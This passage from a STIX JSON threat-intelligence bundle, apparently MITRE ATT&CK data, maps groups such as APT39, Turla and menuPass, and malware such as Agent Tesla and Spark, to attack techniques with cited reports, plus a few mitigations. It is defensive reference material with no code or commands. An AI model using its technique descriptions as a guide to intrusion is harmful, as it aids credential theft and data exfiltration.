            "description": "[Turla](https://attack.mitre.org/groups/G0010) has abused local accounts that have the same password across the victim\u2019s network.(Citation: ESET Crutch December 2020)",
            "relationship_type": "uses",
            "id": "relationship--f4268a0d-0539-46de-bad8-ea72af455585",
            "type": "relationship",
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            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "ESET Crutch December 2020",
                    "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
                    "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."
                }
            ],
            "description": "[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate data over the primary C2 channel (Dropbox HTTP API).(Citation: ESET Crutch December 2020)",
            "relationship_type": "uses",
            "id": "relationship--f78542d4-3e7b-4a73-a47e-1fc0a15fbe24",
            "type": "relationship",
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to create a scheduled task for persistence.(Citation: CISA Zebrocy Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--f957f429-c0d1-4b02-aef8-1d8500421225",
            "type": "relationship",
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            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008)\u2019s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails. (Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--37ec750b-c0d2-4b3c-bfd2-b63e4f39b8c5",
            "type": "relationship",
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized malicious VBS scripts in malware.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--fd6bd6fd-4a75-4094-ac67-bc14cb6b44bb",
            "type": "relationship",
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        {
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            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has compromised legitimate web browser updates to deliver a backdoor. (Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--23fe4e74-9a8e-40e6-99c0-25eb00775a89",
            "type": "relationship",
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to capture mouse movements.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--f11ab582-8ea8-4ed7-9b1e-2b31dce390da",
            "type": "relationship",
            "modified": "2020-12-11T16:17:16.696Z",
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        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used various strains of malware to query the Registry.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--c3cef083-71f7-46ed-85c1-0b44ac24b85e",
            "type": "relationship",
            "modified": "2020-12-11T16:17:16.764Z",
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        },
        {
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used tools with the ability to search for files on a compromised host.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--ba65edc3-e0ef-477f-92c8-ffa2e2a943c5",
            "type": "relationship",
            "modified": "2020-12-11T17:03:43.696Z",
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        },
        {
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            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used the BITS protocol to exfiltrate stolen data from a compromised host.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--c6b51e0c-d6a8-4815-b1fe-fb065ac0bcaa",
            "type": "relationship",
            "modified": "2020-12-11T17:03:43.757Z",
            "created": "2020-12-11T17:03:43.757Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to aggregate data prior to exfiltration.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--a538c673-e7f2-4fd0-923e-d874a3f3d363",
            "type": "relationship",
            "modified": "2020-12-11T17:03:43.930Z",
            "created": "2020-12-11T17:03:43.930Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used multiple backdoors which communicate with a C2 server via email attachments.(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--3632ab1c-caa3-4d65-a665-7da325f4b7ac",
            "type": "relationship",
            "modified": "2020-12-11T17:55:14.440Z",
            "created": "2020-12-11T17:55:14.440Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "external_references": [
                {
                    "source_name": "CISA ComRAT Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."
                }
            ],
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday).(Citation: CISA ComRAT Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--c7c1411a-42c8-4d7e-9b56-0465370759de",
            "type": "relationship",
            "modified": "2020-12-23T19:34:12.439Z",
            "created": "2020-12-11T20:13:44.830Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has created hidden folders.(Citation: SentinelLabs Agent Tesla Aug 2020)",
            "relationship_type": "uses",
            "id": "relationship--98132f22-5312-421a-98f4-e1741abbcd6a",
            "type": "relationship",
            "modified": "2020-12-11T22:07:41.072Z",
            "created": "2020-12-11T22:07:41.072Z"
        },
        {
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            "object_marking_refs": [
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            "external_references": [
                {
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                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331)  has achieved persistence via scheduled tasks.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
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                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
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            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
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            "description": "Consider disabling the <code>AlwaysInstallElevated</code> policy to prevent elevated execution of Windows Installer packages.(Citation: Microsoft AlwaysInstallElevated 2018)",
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                    "source_name": "Microsoft AlwaysInstallElevated 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated",
                    "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."
                }
            ],
            "type": "relationship",
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                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has exfiltrated stolen victim data through C2 communications.(Citation: FBI FLASH APT39 September 2020)",
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                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "(Citation: FBI FLASH APT39 September 2020)",
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                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
            "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the cloud-based remote management and monitoring tool \"ConnectWise Control\" to deploy [REvil](https://attack.mitre.org/software/S0496).(Citation: Tetra Defense Sodinokibi March 2020)",
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            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from configuration or support files.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
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            "external_references": [
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from the Registry.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "relationship_type": "uses",
            "id": "relationship--f2ac3f65-68d3-45d2-8aab-b2bd57036fa8",
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                {
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                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
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            "external_references": [
                {
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                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has dropped RegAsm.exe onto systems for performing malicious activity.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "relationship_type": "uses",
            "id": "relationship--30b4b9c6-1117-4242-80c4-fd7dc7016a08",
            "type": "relationship",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has created scheduled tasks to persistently run VBScripts.(Citation: Unit42 Molerat Mar 2020)",
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            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has used msiexec.exe to execute an MSI payload.(Citation: Unit42 Molerat Mar 2020) ",
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
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                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has run the whoami command and has a built-in command to identify the user logged in.(Citation: Unit42 Molerat Mar 2020) ",
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            "type": "relationship",
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        {
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            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) can use cmd.exe to run commands.(Citation: Unit42 Molerat Mar 2020) ",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) can collect the hostname, keyboard layout, and language from the system.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
            "id": "relationship--7f659555-cfc4-420f-8548-3a89aa1da8c9",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has used a custom XOR algorithm to decrypt the payload.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
            "id": "relationship--b1a30826-465a-4342-8ceb-e0bd4ef50063",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has been packed with Enigma Protector to obfuscate its contents.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
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        {
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            ],
            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has used HTTP POST requests to communicate with its C2 server to receive commands.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
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        {
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            "target_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                },
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
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                }
            ],
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            "relationship_type": "uses",
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                    "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."
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            "id": "relationship--5208729f-fc13-477a-984b-1035c581ad02",
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                    "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/",
                    "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."
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            "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)",
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Csvde tool to collect Active Directory files and data.(Citation: Symantec Cicada November 2020)",
            "relationship_type": "uses",
            "id": "relationship--f2f93fbb-2164-4de7-9d0b-24ad93caf7f2",
            "type": "relationship",
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                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).(Citation: Symantec Cicada November 2020)",
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                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "The primary delivered mechaism for [Agent Tesla](https://attack.mitre.org/software/S0331) is through email phishing messages.(Citation: Bitdefender Agent Tesla April 2020) ",
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                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can gather credentials from a number of browsers.(Citation: Bitdefender Agent Tesla April 2020) ",
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                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used wmi queries to gather information from the system.(Citation: Bitdefender Agent Tesla April 2020) ",
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                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "relationship_type": "uses",
            "id": "relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8",
            "type": "relationship",
            "modified": "2020-12-17T17:23:08.124Z",
            "created": "2020-12-17T17:23:08.124Z"
        },
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            ],
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can inject into known, vulnerable binaries on targeted hosts.(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "relationship_type": "uses",
            "id": "relationship--0432482e-344c-4be3-9a70-5391cf41a935",
            "type": "relationship",
            "modified": "2020-12-17T18:16:05.012Z",
            "created": "2020-12-17T18:16:05.012Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
            "external_references": [
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Ntdsutil to dump credentials.(Citation: Symantec Cicada November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5ffaf9bf-10a0-477f-88ff-5b9e7d5831cc",
            "type": "relationship",
            "modified": "2020-12-17T18:57:21.258Z",
            "created": "2020-12-17T18:57:21.258Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used native APIs including <code>GetModuleFileName</code>, <code>lstrcat</code>, <code>CreateFile</code>, and <code>ReadFile</code>.(Citation: Symantec Cicada November 2020)",
            "relationship_type": "uses",
            "id": "relationship--7b59aa8f-d9d6-4bb5-b2ca-6fc1d36c1550",
            "type": "relationship",
            "modified": "2020-12-29T16:51:25.615Z",
            "created": "2020-12-17T19:40:29.547Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.(Citation: Symantec Cicada November 2020)",
            "relationship_type": "uses",
            "id": "relationship--ca295c89-bee0-4702-b0e1-61416023bacb",
            "type": "relationship",
            "modified": "2020-12-17T19:43:08.197Z",
            "created": "2020-12-17T19:43:08.197Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
            "external_references": [
                {
                    "source_name": "DOJ APT10 Dec 2018",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion",
                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has registered malicious domains for use in intrusion campaigns.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
            "relationship_type": "uses",
            "id": "relationship--f34e5f17-c0ac-4f1b-b45b-e6076e69721a",
            "type": "relationship",
            "modified": "2020-12-28T15:33:58.586Z",
            "created": "2020-12-17T19:47:24.727Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
